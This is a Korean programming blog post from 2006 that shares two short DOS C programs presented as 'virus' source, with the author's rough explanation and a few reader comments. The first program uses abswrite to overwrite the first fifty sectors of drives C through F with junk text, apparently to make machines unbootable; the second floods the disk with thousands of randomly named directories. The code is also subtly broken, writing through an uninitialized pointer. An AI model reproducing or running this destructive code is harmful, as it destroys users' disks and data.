VIRUS 제작~

뭐 저sorce는 내가 만든게 아니라.. 바이러스 코드 많은곳에서 퍼온거야..
출저는 여기
근데 소스가 너무 단순해 보이더라고.
그래서 함 바이러스란 어떤것인가 구경해보라고..
어짜피 C도 배웠으니까...
하기야 이건뭐 진정한 의미의 바이러스는 아닌거 같고
(스스로 복제하거나 기생하는 부분이 없으니..)
여기 올 사람들은 뭐 다는 아니겠지만 대부분 이정도 소스는 해석할줄 알테니까
(뭐 100%는 몰라도 대충 어떻게 흘러가나는 다 알것이니...)

아래는 소스코드,

#include dos.h
#include string.h

main()
{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};
//abswrite함수->특정섹터에다 쓰는 함수라 하더군..
아마 특정섹터에다 써서 부팅을 안되게 하는 플그램이 아닐까 생각
(아님 말고뭐..)

abswrite(int drive,int nsects,long lsect,void *buffer);
drive:드라이브 번호 2->c
nsects: 섹터갯수
lsect:쓰기 시작할 논리 섹터번호
buffer:쓸데이터 담고 있는 메모리 번지.
(참고:http://www.winapi.co.kr)


#include stdio.h
#include stdlib.h
#include dir.h

main()
{
int i,j;
char tmp[20];
char far *ptr;

for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\"); //root drive ex>c 로 이동이래
}
}

//mkdir,chdir은 뭐 이름만 봐도 먼지 알겠지?

ps:이소스 컴파일 시켰다가 어떤 결과 나와도 난 책임 안져 -_-

'Programming > System' 카테고리의 다른 글

MBR(?) 출력 하기  (2) 2007.06.17
screen attach dettach 구별법  (2) 2007.02.12
Beginning Linux Programming Part6-Curses  (2) 2006.06.25
ls -al  (0) 2006.06.21
Beginning linux programming  (6) 2006.03.01
VIRUS 제작~  (6) 2006.01.03
Trackback 0 Comment 6
  1. Favicon of http://lsm1987.dothome.co.kr/ BlogIcon 에그 2006.01.03 16:16 address edit & del reply

    어얽 모르겠다;;; 나도 어서 C공부를 해야하는데;;

    • Lowid 2006.01.03 22:00 address edit & del

      에이.. 조금만 생각하면 알수 있으면서 IQ130님하..;;

    • Favicon of http://lsm1987.dothome.co.kr/ BlogIcon 에그 2006.01.04 23:38 address edit & del

      아니; C언어를 안배웠는데 어찌 안단 말이오;;

  2. Favicon of http://bonedragon.egloos.com BlogIcon 본드래곤 2006.01.03 20:09 address edit & del reply

    어이, 할일이 업ㅂ어서 바이러스 소스나 연구하고 있나;;;

    • Lowid 2006.01.03 21:59 address edit & del

      뭐 이것도 재미있잔어..

  3. 프리오닐 2006.01.06 21:36 address edit & del reply

    컴파일해도 상관없어 컨트롤+브레이크 누르면 멈출텐데 뭐

prev 1 ··· 332 333 334 335 336 337 338 339 340 ··· 342 next